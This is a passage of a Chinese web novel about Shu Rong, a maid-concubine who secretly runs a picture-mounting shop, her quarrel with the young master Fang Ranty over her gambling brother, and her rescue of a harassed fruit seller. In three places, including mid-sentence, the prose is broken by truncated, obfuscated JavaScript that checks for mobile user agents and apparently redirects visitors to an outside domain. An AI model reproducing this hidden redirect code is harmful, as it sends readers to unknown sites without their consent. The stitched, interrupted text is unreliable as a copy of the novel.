她穿一身嫩鹅黄色绣花纱衣,衣摆随着她走动的步伐在空中扬起漂亮的弧线就像是蝴蝶翻飞的翅膀。舒容头上戴着全套的白玉头面,方冉途认出那是自己上次送她的其中一套。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221202|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “到屋里去吧。”他越过舒容,径直走向寝房中。舒容也连忙跟上他的脚步。 方冉途走到罗汉床边坐下,见舒容站立在侧,也用眼神示意她坐下,舒容便也跟着坐了下来。他的寝房里摆放着大铜盆盛的冰块,倒是十分凉爽。康平进来奉上茶水后就安静地退了下去。 “你方才来竹香院等了很久?”方冉途看着她问道。 舒容出神地看着铜盆里的冰块,冰块下面已经积起厚厚一层融水,想来已经放了有些时候。听到他的声音舒容方才转过头看他,耳畔的白玉耳坠随着她的动作轻轻晃动。 “没有,奴婢才到竹香院不久。二少爷是刚从外头回来?” “不是,我在采晖堂吃过晚膳,方才回来。” 舒容拿起矮几上的茶喝了一口,又放下茶杯。她侧过身看方冉途,见他正看着桌上香炉中飘荡的烟雾。他的侧脸在灯光下显得更为俊美,纤长的睫毛投下浓密的阴影,高挺的鼻梁下是玫瑰色的薄唇。 舒容想哪天她要把方二少爷的容颜画下来,这么美的人不记录下来简直可惜。 方冉途转过头看她,就见舒容的一双丹凤眼里表现出对自己毫不掩饰的喜爱。两人视线交汇,舒容觉得自己眼神太炽热忙忙转头看向旁边的金丝楠木博古架。 “舒容,你来竹香院也有一年时间了吧?” “是,奴婢是去年四月来的府上,已经有一年多时间。”舒容不知道他怎么突然问起这个。 方冉途想起自己因为表姐买通张道士哄骗母亲说有三年婚煞,母亲没有办法才从庄子里给自己纳了舒容做通房。若不是因为自己,舒容或许可以像寻常女子那样嫁给一个合心意的郎君,而不是这样跟着自己做通房。不知道未来娘子的秉性如何,他也只有像母亲说得那样提舒容做姨娘,尽力多护着她一些,当做自己的补偿。 舒容不知道方冉途刚才脑子里百转千回想着些什么。她只想尽情地感受冰块带来的凉爽。尽管她现在也有钱,负担得起一百文钱一块冰的价钱,但从外头运冰进府属实太过招摇,她只有每天和绿影一起靠着厨房里送来的一块冰变着花样做冰品,万没有像方二少爷这般奢侈的享受。 沐浴后两人躺在铺着竹簟的床上,舒容嫌床帐放下来太闷热,只放了最里头的一层纱帐。她在桂馨院里都是穿着之际的短袖短裤睡觉,但在竹香院,她都是规矩地穿着长袖长裤,虽然夏布轻薄,她还是有些不大适应,一直到三更也没有睡着。 方冉途迟迟没有听到舒容传来的均匀呼吸声,知道她可能因为天热还没有入眠。他此刻也毫无睡意。想到今天晚膳时母亲说送贺礼的仆人已经出发了五天,估计还有半个月就能抵达西平。他突然也觉得应该送点贺礼祝贺表姐新婚,经过那日在梅林的长坐,他已经放下了这段感情。他从今以后只会把表姐当做表姐,不会再肖想其他了。 “舒容,你说我送雕花黑漆屏风给表姐当新婚贺礼好不好?” 听到他突然说要送贺礼给蒋念鸿,舒容有些吃惊。明明前几天他还说自己不会送贺礼,看来经过折扇一事他是真的想开了。 “好啊,二少爷送的贺礼表小姐肯定喜欢。只是我听说送贺礼的车马都走了有几天时间了。” “无事,我让人快马加鞭赶上就是了。”做出这个决定后,方冉途觉得自己浑身轻松,闭上眼睛很快就进入了梦乡。 第二人他便让康管家把自己库房里的一扇雕花黑漆屏风打包装车,让人日夜兼程赶上前面的车队。 很快两个月的假期过去,舒容又重新回到故荣斋,投身到火热的工作当中。这一次,她在故荣斋里见到了一个陌生面孔。 24. 舒容有了自己的店铺 “师父,你也来啦。”胡顺满脸笑容地过来跟她问好。 舒容取下帷帽拿在手里,看着胡顺两月不见变得圆润的脸庞,打趣道:“旁人都是苦夏变得清瘦,徒弟我看你是苦夏变得圆润起来了。” “哈哈哈哈哈。”胡掌柜笑着从房间里走出来,“容姑娘,别来无恙啊。” “托掌柜的福,一切都好。”舒容笑着跟胡掌柜说话,看到院墙下有个青衣男子拿着本书在低声吟诵,舒容疑惑道;“这位公子是?” “哎呀,忘了介绍了。”胡掌柜朝那人喊了一声,“灿儿,过来见过客人。” 那青衣男子将手中的书合上,缓步走了过来。 “容姑娘,这是我家小子胡灿,因要参加今年的秋闱,就从书院回来了。”胡掌柜满脸自豪地介绍道。胡灿看起来身量和胡掌柜差不多高,脸型也胡掌柜一样都是国字脸,不过眼睛较胡掌柜更大一些。 “胡公子有礼,我是店里的裱糊师傅,我叫容一。”舒容微笑着对他行礼。 胡灿已经知道舒容的事情,全赖舒容他们家的小店才有了起色,他爹也能够给他交得起束脩费用。他听父亲说过舒容是个美丽的姑娘,但没想到舒容比他想象中的还要美丽, “见过容姑娘,容姑娘不用称呼我公子,直接叫我名字就好。”胡灿语气有些羞涩地说道。 因胡灿要参加科举温书,他们也要做积压下来的订单,认识之后就各自帮各自的事情去了。 两个月时间里胡掌柜接到了十二幅画的订单,都是店铺附近居住的读书人订的。其中五副要求做成手卷,两幅要求做成横批,剩下的五副都是要求做成立轴的。他们便按照接到订单的时间的先后顺序便开始忙活起来,因为都是新画,做起来倒是省事。 胡掌柜前几天已经把需要的浆糊治好。舒容和胡掌柜一起根据每幅画的色彩确定装裱的样式后,就开始动工。三人通力合作不到二十天时间就把所有的画都装裱完成。 舒容又参加了系统抽奖,因为上次还累计八幅画的数目,所以这次她可以参与两次抽奖。没想到两次都抽中了马蹄刀,她现在已经从系统中抽到了5把马蹄刀了。除了在店中的两把,她在桂馨院的书房里也放了一把。新抽到这两把她就决定送一把给胡顺,另外一把先留起来给以后愿意来故荣斋里学装裱手艺的人。经过她的亲身实践,系统抽到的马蹄刀虽然看起来平平无奇,用起来却十分趁手,若是新学艺的人有把好刀,那必然会大有裨益。 秋闱过后,胡掌柜的儿子高中举人,他的老师知他能中举已是侥幸,见江南慈远县县令刚上了丁忧的折子,便把胡灿给举荐了上去。现今胡灿已经拿到任职文书,限期一个月内就要到任。胡灿想让父亲跟随自己一起上任,胡掌柜本身做裱褙这个行当也只是为了糊口,谈不上多么喜欢,两人便商量着把故荣斋卖掉,用卖掉的钱在当地重新置办一份产业。 这天胡掌柜把舒容请到了故荣斋附近的茶楼,两人在茶楼二楼的雅间里坐定。胡掌柜给舒容倒茶,很难为情似地不敢看舒容的眼睛。舒容还不知道胡掌柜打算卖掉故荣斋的事情,见他吞吞吐吐,便主动开口道:“胡掌柜可是有什么事情要和我说?” 胡掌柜叹了口气,方才看着舒容的脸说道:“容姑娘,胡灿他被举荐任了地方上的一个县令,想让我一起去赴任。” “这是好事啊,胡掌柜有何担心的?”舒容真心为胡掌柜感到高兴的,多少人供养孩子走科举之路不就是为了这一天。 “所以我打算卖掉故荣斋。”看到舒容明亮的眼眸,胡掌柜犹豫半晌还是把心头的话说了出来。 舒容听这话才知道胡掌柜为何迟迟犹豫,想到自己现在手头有八百多两银子的现钱,还有何夫人和方冉途赏赐的好些珠宝首饰,她自己何不把故荣斋买下来。便问道:“不知胡掌柜打算把故荣斋卖多少钱?” 胡掌柜没有想到舒容有买下故荣斋的意思,只将他和中人商定的价格报出来,“我是预备连带故荣斋后面的院子一起卖的,按照市价合计一千六百两银子。” 一千六百两,舒容手头还缺八百多两,也不知道她的那些首饰能当多少钱,但这个机会她不想错过。 “胡掌柜,实不相瞒,我有意买下铺子,只是我手头暂时没有足够多的现银,不知道胡掌柜能否给我五天时间筹措?” 听到舒容想买,胡掌柜脸上堆起笑容,“好,好,若是容姑娘买下则再好不过了。” 舒容回到桂馨院就抱出自己的小木匣子,里头有八张一百两的银票,还有六十多两的银子。舒容从库房中找出自己的首饰,除了方冉途后来送的那三套,她决定把其他的全部拿到当铺中当掉。 第二日一早,舒容整理好要典当的东西和绿影一起去到城东的老字号典当行,何夫人的两幅头面和八枝珠钗一共典当了六百两银子,方冉途给的那一盒珍珠典当了二百两银子。加上她自己的八百多两,刚好够了买铺子的钱。 回到桂馨院舒容房间里,绿影问道:“姑娘,你为何突然把二少爷和太太给的首饰都典当了?” 经过一年多时间的相处,舒容已经完全信任绿影,便决定告诉她自己要买铺子的事。 “你姑娘我啊,要有一间属于自己的店铺了。”舒容贴近绿影耳朵微笑着说道。 绿影也猜出姑娘平时早出晚归肯定是做正事去了,却没有往这方面想,看见舒容满面春风的样子,她也跟着高兴起来。“恭喜姑娘,恭喜姑娘。姑娘放心,这件事情绿影谁都不会说的。” 舒容伸手轻拍绿影红彤彤的笑脸,温柔道:“我相信绿影,等过几天店铺的事情处理妥帖了,我就带绿影去我的店上看看。” 绿影脸上笑容愈发加深,连连点头,看向舒容的圆圆的眼睛里头满满都是对舒容的欣赏和信赖。 又一日,舒容带着银票和胡掌柜一起去衙门做了过户的文书登记,这一次舒容用的是真实的姓名。舒容不好意思道:“行走在外,方才用假名称呼,还望胡掌柜海涵。” 胡掌柜拱手道:“哪里哪里,容姑娘能接下店铺,保全胡顺的饭碗,老朽我感激不尽。今日我做东,我们仍旧去福记酒楼一聚。” 胡掌柜在将店铺卖给舒容后的两天就跟着胡灿乘马车出发至慈远县。舒容和胡顺两人一路送到城外的杨柳亭才返回。在回城的马车上,胡顺在前面驾车,歪头问马车里头的舒容,“师父,今后我是叫你掌柜还是叫你师父?” 舒容正掀开车帘望车外的景色,路边的野梨枝头挂着饱满的果子,几只鸟雀正聚在树顶上啄食果肉。听到胡顺问话,舒容笑着回他说:“随你喜欢。” “好嘞,那我以后还是叫师父。”胡顺说完就扬鞭赶起马儿往京城里走。 到了故荣斋,胡顺将马车赶到车行去还车,舒容站在门前望着故荣斋的招牌,脸上满是自豪的笑容。在这个金秋十月,她终于有了属于自己的店铺。 第二天,舒容去订做了一块新的招牌,将故荣斋更名为存古堂,又做了一个蓝底黑字写有装池二字的幌子斜插于店外方便招揽顾客。店铺装扮好后,舒容如约带绿影来店中参观,绿影才知道原来舒容做的这个生意。回去后绿影还亲手绣了一条有存古堂三个字的围裙送给舒容当做她的贺礼。 胡掌柜走后,店中又迎来一笔新的订单,之前来店中装裱过字画的孙秀才新近买了新的宅子,便想在存古堂里装裱一副中堂。舒容想过店中必须有一人守店,她又不愿意和客人打交道,便和胡顺商量暂时由胡顺看店,她在裱房里装裱。 孙秀才的中堂还没有装裱好,去年来店里光顾过的木材商人冯大掌柜又带来十幅画的订单。舒容实在忙不过来,便写了一张招徒告示。胡顺刚刚把告示贴出去就引起了附近街坊的围观。 “胡顺小哥,你们家店铺怎么改名字啦?”隔故荣斋好几个铺子的卖干果的李掌柜刚从外地进货回来,看见故荣斋变成存古堂以为胡掌柜干不下去把铺子卖了,又见到胡顺仍在铺中,便忙忙过来问他。 胡顺拱手跟李掌柜行礼,“李掌柜好,我叔叔他随我表哥去外地任上了,这店铺已经转卖给我师父,我们仍旧做装池的生意。李掌柜要是碰到询问的客人,还望帮我们解释解释。” 李掌柜笑道:“原来这样,胡掌柜现在可算是享福了。胡灿少爷我从小就说那孩子聪明,果真如今高中了。”李掌柜又上前仔细看告示内容:存古堂招裱褙学徒两人,只招女孩,月银五百文,需识字。 “胡顺小哥,我看你家这招徒怎么只招女徒弟呢?” “是啊是啊,我可知道墨香街那些装池店都是只招男学徒的。”甘井巷巷尾卖杂货的杜掌柜也说道。 “我看你家这告示写的待遇这么优厚,又只招女学徒,莫不是你家掌柜借着招学徒的幌子想干些见不得人的事吧。”说话这人是杜掌柜的邻居向掌柜,经营这一家裁缝铺子,因她家有个女儿为人好吃懒做,是甘水巷里头出了名的懒姑娘。她看上了胡灿想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227316|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁到胡家却被胡掌柜断然拒绝,因此对胡家很是不满,碰到胡家的事情都要来踩一脚。 听向掌柜这么说,看热闹的街坊们都交头接耳地说起来,说什么之前城南有黑心铺子开高价招女孩做工,结果把人卖到外地的青楼去的。 “哎呀,这工呀做不得。” “就是,就是,清清白白的女儿家还是不要出门抛头露面的好。” “我看莫不是家黑店吧。” 胡顺看大家越说越离谱,忙出声解释道:“我家只招女徒弟,是因为我师父就是女的,怕招男徒弟不方便。” “可你不是男的吗?”向掌柜大声喊道。 “我,我,我是之前我叔叔央求我师父收的。”胡顺脸上急得发红,额头上渗出许多汗珠。 “哄小孩呢。” “大家别上当。” 胡顺看着众人就要走,心里急得不行,要是这些人到处传他们店是黑店,那存古堂的生意就做不下去了。 “各位街坊留步。” 听到一道清亮的女声,众人纷纷停住脚步,看向来人。见来人头戴帷帽,看身形是个年轻的姑娘。 有人看到帷帽想起去年曾有个戴帷帽的女子在故荣斋门口帮胡掌柜解围,出声问道;“你可是去年在店门口帮胡掌柜的那个姑娘?” 舒容看向他笑道;“正是。” 听她这么说,人群又重新骚动起来,“我听说就是这人把李秀才的画补好了。” “我记得这事,李秀才当时嚷嚷着要胡掌柜赔钱呢。” “那看来是有些手艺的。” 舒容拍拍手,见大家安静下来,才开口道:“我就是存古堂的掌柜,我姓容。此番招募两个学徒是因为店中生意太忙,只有我和胡顺两人忙不过来。只招募女学徒是因为我就是女的,跟女孩儿打交道方便些。再则我的裱褙功夫也是跟我师父学的,我师父也是女子,因此我也想把这门手艺传授给更多的女子学习。五百文钱的月钱也是真实的,大家不必担心。我们存古堂是专门做装池生意的,还望大家帮我多多宣传,我在此谢过各位。” 见舒容解释得清清楚楚,众人也没什么话好说,很快也就都散开了,只有李掌柜还站在存古堂门前。 他笑着走近舒容,“容掌柜好,我家弟弟的小女儿倒是识文断字,不知道能不能来应聘这活计?” “这个还要当面见过才知道,若是她想来,让她白天到店中来找我便是。”舒容微笑着回答道。 第二日刚刚打开店门不久,果然来了一个女孩儿到店中应聘,胡顺领她到后堂去见舒容。舒容刚到店里还在收拾装裱要用的纸张,从裱房出来就见到了个身穿淡紫色袄裙,梳着双丫髻,鹅蛋脸,双眼皮的姑娘。 舒容招呼她到梨树下的石凳上坐下,“你是来应聘的吧?我是存古堂的掌柜,我姓容。” “容掌柜好,我叫李碧兰,今年十四岁,我跟我父亲学过认字。”李碧兰微笑着看着舒容的脸大大方方地回答。 舒容见她眼睛清亮有神,透着一股机灵劲儿,很是满意。两人又谈论了用工的时间,工钱等问题,当下就敲定好第二天来店中开始工作。李碧兰聪明机灵,一点就通,不到半个月时间就掌握装裱的基本手法,能够协助舒容完成一幅画的装裱工作。 但另一个学徒的名额舒容却迟迟没有等来合意的人选。存古堂的客人却渐渐多起来,连住在城西的客人都有专门坐马车过来到存古堂装裱字画的。舒容无奈只能先从人牙子处请了一个给茶楼当过掌柜的人过来看着店铺,招呼客人,让胡顺到裱房中帮忙装裱。 这新请的中年男子叫顾风,祖籍闽西,因在外行商时遇到他的娘子,便随娘子到京城中安家。因工作的茶楼被主家典卖无奈才往人牙子处挂了号重新寻活计。正巧舒容店上缺人就招募过来了。顾风仪容俊朗,言谈不俗,舒容与他交谈几句后就将其雇了下来。付他每月一两银子让他负责前店的事务。 时间匆匆而过,又到来年二月。 这日舒容又接到一笔做手卷的订单,客人是来京城参加春闱的举子,租住在甘水巷三条街外的大槐树街。因听友人说存古堂装裱技艺高超,便将他自己新画好的四幅《岷山四季图》拿到存古堂想装裱成手卷用来赠友。 舒容店中手卷用的别子已经用完,便预备往城东翡翠街的玉器店里再定做一批。刚刚走出存古堂不远,舒容就在街上见到了身着天青色道袍的方冉途和跟在他身后的康平。 25. 他的一片好心 舒容的帷帽被康顺不小心用水打湿,舒容只好不戴帷帽出门。偏巧就遇上了方冉途。 “奴婢见过二少爷。”舒容眼看躲不过去,上前笑着跟他行礼问好。 方冉途到甘水巷是为了拿父亲新画好的一副花鸟图到故荣斋装裱。没想到在这里居然碰到了舒容。他抬眼扫过舒容,她穿着身淡粉色绣卷草纹的袄裙,头发梳成双髻,只简单系了一个红色的珍珠发带。每次舒容来见他都是满头珠翠,如今见她如此清爽干净,更显出一种天然的风致来。 “你怎么会来此地?”方冉途看着舒容含笑的丹凤眼问。 “我本是要去好味斋买糕点的,方才从这里经过。二少爷到这里做什么?”舒容乖巧回话道。 “我到这里裱画。你要去买糕点便去吧,早些回府。”方冉途见她一个人出门,身边连个丫鬟也不带,不由得有些皱眉。 舒容想到方冉途又来照顾她的生意,自己又可以赚上一笔,脸上笑得愈发灿烂明媚。跟方冉途告别后便又踏上去玉器店的路。 方冉途发现故荣斋的招牌已经换成存古堂,看店里的掌柜也换了人,迟疑了一番还是进店。询问一番后才知道故荣斋已经易主,但裱褙师傅还是之前的,他便还是决定就在这里装裱。 因存古堂离方府东侧门更近,方冉途便决定从这里回府。走到东侧门的街对面,就看到一个身着墨蓝色直身的青年男子岔开腿负手背靠墙立着,伸长脖子打量着过往的行人。 康平看见方冉途脸上有些嫌恶的表情,开口道:“二少爷,我去把那人赶开。” “不必,走吧。”方冉途斜睨了那人一眼开口说道。 两人走到东侧门外,康平正准备前去叫守门婆子开门。 那人发现这两人是要去方府的,便快步跑了过来。康平见状连忙伸手挡在方冉途前面。 “见过二少爷,见过二少爷。”舒力拱手跟方冉途行礼,脸上堆满谄媚的笑。舒力知道大少爷在外地做官,府里只有二少爷,又见来人长得俊俏便肯定这人就是方冉途。 “你是谁?”康平看见他的作态皱着眉大声喝道。 舒力越过康平,侧着身子看向康平身后的方冉途,“二少爷,我是你房里通房舒容的哥哥,我叫舒力。”越走近看舒力越觉得舒容这个死妮子真是好命,能做这么好看少爷的通房。 方冉途拨开康平,走到舒力面前仔细看着他的脸,确实跟舒容有两三分相似。但眼前人骨子里透着股萎靡之气跟舒容的生气勃勃的样子完全不一样。 “你来这里做什么?”方冉途冷声问道。 “二少爷我是来看我妹子的,那守门的婆子不让我进府,我只好在这门口守着。”舒力盯着方冉途腰间的玉带说着。 “舒容今日不在府里,你找舒容做什么?” 舒力搓搓手,望着方冉途傻笑,“我是来找舒容借些钱的,家里的房子太破了,我想重新翻修一番,不然实在住不了人了。” 舒容不在,他不能直白地说自己要拿钱去赌,只能随便编个好听的借口,也不知道方二少爷会不会看在舒容面子上给他些钱。 方冉途只知道舒容是方府的家生子,别的一概不知。此番见舒力这么说,心下便也信了。想到母亲曾经提过舒容的月钱也不过二两银子,他便想着自己出修房子的钱,不要让舒力再问舒容要。 “修房子要多少钱?” 听到方冉途问多少钱,舒力知道今天有戏,想着下次未必能遇上这条大鱼,眼睛一转报出了个数,“二十,二十两银子。” “康平,给他二十两。”方冉途转头对康平吩咐道。 康平瞪了舒力一眼,取出荷包拿了十两一锭的两锭银子给他。 一拿到银子,舒力赶紧把银子收进袖袋里。眼睛里满是得意的笑,没想到自己跟舒容三番五次要钱要不到,跟方二少爷一次就要到了这么多钱,看来舒容在他那里还挺受宠,早知道这样就该多要些银子。 康平看着舒力滴溜溜转的眼睛,心中有些鄙夷,这舒容姑娘的哥哥简直就是个财迷,也不知道同一个爹娘生的怎么差距这么大。 方冉途对舒力的动作也有些看不上眼,“你拿了钱就走吧。”说完往门口走了几步,康平见状忙去叩门。 “多谢二少爷,多谢二少爷,我这就走,这就走。”舒力躬着身子眯起眼跟方冉途作揖,等方冉途进入府内,朱红的大门再次关上后,他便大摇大摆地直奔赌场。 舒容不知道舒力来方府的这件事,自从去年她在小巷打了舒力以后,舒力再也没有来找过她要钱,她几乎都要把舒力这号人忘了。 舒容去玉器铺订好起子后想到自己随口说的话,又折去好味斋买了绿豆冰糕,桂花饼和绿影爱吃的云片糕。 回到桂馨院时刚到酉时,舒容把云片糕给绿影后便换了一身轻便的衣裳去小厨房里打拳。因为现在存古堂的生意越来越忙,她已经好久没有打过拳了。酣畅淋漓的运动后舒容觉得浑身顺畅。简单洗漱后又和绿影一起绣袜子。 等吃过晚膳后舒容重新装扮后,才提着绿豆冰糕和桂花饼去了竹香院。 她到的时候方冉途正在书房里刻章,康平往里头通报过后就请她进去。舒容把手头拿的糕点递给康平后就房里走。 “奴婢见过二少爷。”舒容依旧乖巧地行礼。 方冉途抬头看她,发现她换了一身水红色交领襦裙,头上的发饰也变成全套他买的珍珠头面。不同于白天在街上看到的清新雅致,此刻却是千娇百媚的人间富贵花。 见他眼睛看着自己又不说话,舒容被他看得有些心里发毛,想着自己的装扮跟每次来竹香院都是一样的,都是全套首饰,华美衣衫,往日也没有见他这样。她就又开口道:“二少爷,我给你送来了我今日在好味斋买了绿豆冰糕和桂花饼。” “嗯。我知道了。”方冉途把目光从舒容身上移开,看向自己手头刚刚刻好的闲章,突然有了兴致想要逗一逗舒容。 “舒容,你过来。”方冉途招手对舒容说道。 舒容走到他近前,看他手头正拿着一块荔枝冻寿山石,石料晶莹透澈,有如刚刚剥壳的鲜荔枝肉。 “舒容,我听说你会识字是不是?”方冉途侧身仰头微笑着看着舒容问。 舒容不知道他为何突然这么问,想了想道:“奴婢幼时跟着父亲学过几个字。” “我刚刻好了一枚闲章,一共四个字,你要是能说对我刻的是什么我就赏你四十两银子,如何?” 四个字四十两,一个字十两。抵得上她装裱四幅普通的字画了,舒容觉得自己从来没做过这么划算的生意,就是往死里猜她也要猜出来。 “好,奴婢愿意。”舒容尽量控制自己的语气保持平静,以免显得太过兴奋。 听到她肯定的回答,方冉途拿过桌角上青色瓷盒里放的印泥,又拿出一张干净的连四纸,用毛刷扫过印章上的灰尘后,在印泥中轻轻一顿,随后垂直在宣纸上盖出朱红色的四个字。 舒容见他盖好,便凑近去看宣纸上的字。舒容的衣裙擦过方冉途的手臂,他侧身看舒容只看到她细白的脖颈和耳朵上微微摇晃的珍珠耳坠。他从来没有挨女子这么近过,此时闻到舒容身上传来的淡淡桂花香味,耳根子一下子变得绯红。 舒容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231382|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子就认出了宣纸上的四个字,看来方冉途是故意要赏她银子的,既然如此她也不能辜负他的一片好心。她假装盯着四个字思索,良久后才道:“我看这四个字是翠竹林中,二少爷,我说得对不对?” 舒容侧身去看他,见他耳根子发红,整个人也像冻住了一样一动不动。她方才觉得两人之间的距离已经太过亲密,超过了方冉途的安全距离。她悄悄地往旁边挪了几步,让两人之间保留足够大的空隙。 感觉到舒容的离开,方冉途的身子才恢复动作,他看着宣纸上的印章,声音有些发紧地说道:“你说对了。明天我就让康平把银子送到桂馨院去。” 银子到手,舒容俏皮地笑着向他道谢,“奴婢多谢二少爷赏。” “嗯。”他轻声回应道。 看着舒容梨涡里盛满的笑容,方冉途突然觉得心跳漏了一拍。他别过头去不再看她,让她先去寝房等他,他自己则专心收拾起桌上雕刻的工具。 刚出书房舒容就看到康平抱着手看着天空,“康平,你在赏月呢?” “容姑娘,你出来啦?”康平见到舒容过来就想起下午回来遇见的舒力,那舒力跟他之前遇到的一个小厮言行很像,他一直又想不起来是谁,所以望着天出神。 “嗯,二少爷让我先到寝房里等他。” 见到康平脸上神色复杂,又认真地盯着自己的脸看,舒容疑惑道:“我脸上有东西吗?” 康平本是想偷偷对比下舒容和自己今天见到的舒力五官哪里像,听到舒容问话,下意识就把自己心里头想的话说了出来,“舒容姑娘和你哥哥也不像嘛。” “你什么时候见过我哥哥?”舒容没有听说最近方冉途去了庄子上,康平怎么会见过舒力? 听舒容这么问,康平想着干脆把舒力的事情跟舒容姑娘说清楚,也好让她知道二少爷对她很好。如此想着他就把今天在东侧门遇见舒力的事情跟舒容讲了一遍。 康平话刚刚说完,方冉途就走了出来。 “康平。”他用警告意味的眼神看着康平。 康平才知道自己不该在舒容面前说这些话,便把头低下去不敢再看方冉途。 “我只是随手一帮罢了,你不用放在心上。”方冉途微笑地看着舒容道。 舒容心中翻白眼,你被赌鬼骗了还以为自己做大好事呢。舒容笑笑没有说话。 方冉途见她皮笑肉不笑的样子,脸色沉下来。 康平看到两个人气氛突然尴尬起来,想缓和一下,便笑着对舒容说道:“舒容姑娘,二少爷可是看在你的面子上才帮你哥哥的,你可要好好感谢二少爷才是。” 舒容把脸别过去看着庭院中的翠竹,没有说话。 方冉途被她冷淡的态度激怒了,“你觉得我多事是不是?” “奴婢不敢。”舒容口头说着不敢的话,看向方冉途的眼神却满是嘲讽。要说舒容在这个世界上最恨的人,舒力绝对算得上一个。方冉途给赌徒赌资还想让她道谢,她做不到。 方冉途没有想到一向乖巧和顺的舒容还有这样的一面,他好心好意出钱帮了他哥哥修家里的房子她不感激也就罢了,还用眼神嘲讽他。真是一片好心喂了狗,亏他怕她没有钱花刚才还赏赐了她四十两银子。 “我今日想一个人休息,你今晚回桂馨院吧。”方冉途不去看她,语气冷淡地说道。 “奴婢告退。”想到舒力那个倒胃口的人,舒容暂时也没了演戏心思,面无表情地行礼后就回了桂馨院。 看着她毫不留恋地离开,方冉途冷哼一声,大步流星地走向寝房,徒留康平一个人在走廊里头自责自己多嘴。 26. 舒容见义勇为 舒容和方冉途的这次生气谁都没有服软,方冉途觉得是舒容不知好歹,她不来示好他绝对不会自降身份去跟她说话。舒容则是生意太好,忙着赚钱,一时间忘记了这件事情。等她想起自己人在屋檐下还是要和屋子主人搞好关系时已经是一个月以后的事情了。 想着既然方冉途喜欢刻章她就去翰墨阁买上一盒印泥送给他,当做自己的赔礼。舒容吩咐好店上的事情就往墨香街的方向走,才刚走到离存古堂一个街口的枇杷巷,就看到一个流里流气混混气质的人在为难一个小姑娘。 王大铁是枇杷巷里头有名的混混,他爹是巷口王记铁铺的掌柜,只得他一个独子,从小宠到大。因王铁匠长得高大威猛,早年曾将一个说王大铁长得难看的顾客打得半年下不来床。因而枇杷巷的街坊皆对王大铁避之不及,谁料想这更助长了王大铁嚣张的气焰,他闲来无事就在巷里东走西窜,东家调戏个姑娘,西家偷点东西,是个彻彻底底的泼皮无赖。 他今年十六岁已经到了说亲的年龄,看上了巷尾柳家的女儿柳安。这柳家是在十多年前搬来枇杷巷的,只有一对孤寡母女,那母亲是个瞎子,平素靠给人浆洗衣裳过活。这柳安比他小一岁,长得花容月貌,平时贩些鲜果鲜花在街上叫卖补贴家用。 今日柳安正挑着担子准备出门去卖酥梨,还没走出巷子就被王大铁拦住。 “柳安,我跟你提亲是看得起你,要不你家那个样子谁会愿意娶你。”王大铁一手把住柳安的扁担,故意凑近柳安面前说。 柳安皱着眉往后退想从他旁边过去,王大铁又故意堵住旁边的通道。 “王大铁,我不会嫁给你的,你死了这条心吧。”王大铁几次三番骚扰她,柳安真的忍无可忍,无奈她家实在贫苦,她和母亲辛辛苦苦一个月最多也只挣得二百文钱,只能租得起巷尾那间小院子,要是她有能力早就带着母亲离了这个地方了。 王大铁见她说话越发来劲,伸手要去摸柳安的脸。柳安想赶紧离开,用手按住扁担侧身就往前猛冲,扁担头刚好打中王大铁的脸。王大铁吃痛,一把扯住柳安的发髻,一个巴掌就往柳安脸上招呼。柳安被打得扁担也落在了地上。 “给脸不要脸是吧。”王大铁一把把柳安推倒在地,看着箩筐里头的满满的酥梨,和柳安看向箩筐紧张的眼神,把两个箩筐也给掀翻在地,又拿脚去踩滚落出来的酥梨。 “你不要踩烂我的梨子,你不要踩烂我的梨子。”柳安哭着哀求王大铁,王大铁看柳安流泪越发兴奋,将他面前的梨子都挨个踩坏。四周邻里听到巷子里头有争执的声音,看见是王大铁纷纷关上了大门谁也不敢出来主持公道。 舒容过来时就看到了这一幕,她顿时气得血压飙升。 她快步走到王大铁面前,一脚把王大铁踹翻在地。趁王大铁没反应过来时拿起箩筐就往他身上招呼,竹编箩筐将王大铁的脸划出道道血痕。王大铁平时作恶是因为没人反抗他,实际上他并不是一个能打的。舒容虽然存古堂里头生意忙,但三不五时都会去小厨房里打沙袋,因此打起王大铁就跟砍瓜切菜一样简单。 王大铁从没挨过打,被舒容噼里啪啦一顿猛打后鼻涕眼泪一块流出来,好不恶心。“别打了,别打了。女侠别打了。”他向舒容求饶道。 舒容看教训得差不多也停了手,伸手把地上的柳安扶起来,温声问道:“姑娘,你没事吧?” 柳安看着舒容,帷帽挡住了舒容的脸,但她觉得舒容就是天下最美的女子,轻轻摇头道,“我没事,多谢恩人。” 看到满地的烂梨,柳安眼睛里又落下泪来,这些梨子是她花了五十文钱跟果贩买的,现在全都不能卖了。 察觉到柳安的目光,舒容问道:“姑娘,你这些梨子原本要卖多少钱?” “八十文钱。”柳安怯生生地说道。 